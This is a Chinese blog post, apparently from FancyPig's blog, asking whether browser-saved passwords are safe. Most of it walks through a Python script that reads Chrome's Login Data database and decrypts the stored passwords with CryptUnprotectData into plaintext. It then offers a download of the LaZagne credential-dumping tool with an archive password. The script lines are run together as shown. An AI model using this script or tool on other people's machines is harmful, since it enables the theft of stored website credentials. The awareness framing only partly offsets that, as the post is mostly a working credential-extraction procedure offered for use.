相关阅读
杂谈
其实,我们之前的文章很早就提到过浏览器中的密码安全问题,今天我们重点来聊聊使用浏览器自带的密码存储功能究竟安全吗?如果黑客远程控制了你的电脑,或者给你发送了恶意的脚本,能否快速导出你浏览器中的密码?如果可以,那么又有什么不错的方式可以解决密码管理问题呢?
视频讲解
相关资源
python脚本
请先安装相关环境
pip install pypiwin32
相关代码讲解
首先,让我们从导入所需的所有依赖项开始,并设置 Chrome 配置文件用户数据的文件夹位置。
所需依赖项:sqlite3 和 win32crypt
import os, sqlite3, win32crypt
# Automatically get the logged in user's default folder
data = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
接下来,我们将不得不使用 sqlite3 连接到 Chrome 存储所有用户数据的数据库。让我们看一下数据库结构。我使用了一个名为 SQLite Expert 的免费工具,但软件的选择并不重要,甚至不需要——我只是一个非常直观的人。
![图片[1]-使用浏览器自带的自动保存密码到底安全吗?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/03/20220306144323804.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
通过查看数据库表,我注意到了三列:action_url、username_value 和 password_value。请注意,password_value类型是 BLOB — 它是加密的,但设计不佳(我们稍后会谈到)
![图片[2]-使用浏览器自带的自动保存密码到底安全吗?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/03/20220306144418150.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
从这里我们将进行一个简单的 SQL 查询来获取相应的值并存储它们以进行解密。
如果您收到有关数据库被锁定的错误,那是因为另一个程序(可能是您正在阅读本文的 Chrome 窗口😉)已经打开了数据库。您需要关闭所有 Chrome 窗口,并且最好执行 control+alt+delete 以确保没有延迟运行的 Chrome 服务。
# Connect to Login Data database
connection = sqlite3.connect(data) cursor = connection.cursor()
# Query the values of interest to us
cursor.execute('SELECT action_url, username_value, password_value FROM logins') final_data = cursor.fetchall()
# Close the database connection
cursor.close()
我们现在收集的加密密码是由 Windows 函数CryptProtectData生成的。数据只能由具有相同Windows登录凭据和加密数据的同一台计算机的用户解密。听起来超级安全!正确的?
嗯,不。如果黑客设法访问您的计算机,无论是通过未受保护的端口还是您设法感染的僵尸网络类型木马,那么黑客已经拥有您的 Windows 凭据,并且将运行解密功能在你的电脑。就像有CryptProtectData一样,还有一个CryptUnprotectData函数,我们将使用它来获取密码的明文版本。
# Iterating through all the values found...
for chrome_logins in final_data: password = win32crypt.CryptUnprotectData(chrome_logins[2], None, None, None, 0)[1] print("Website : "+str(chrome_logins[0])) print("Username : "+str(chrome_logins[1])) print("Password : "+str(password))
就是这样。仅用 12 行代码,我就提取了 2011 年以来以明文形式保存的所有 588 个密码。
![图片[3]-使用浏览器自带的自动保存密码到底安全吗?-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/03/20220306144825312.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
其他敏感数据,例如浏览历史记录和 cookie,也可以使用类似方法轻松提取
密码管理工具推荐
获取浏览器密码工具
上述工具解压密码为www.iculture.cc
你需要下载后将上述lazagne.exe
文件拖入cmd中,然后空格后面接相应的命令
相关命令如下
- 最新
- 最热
只看作者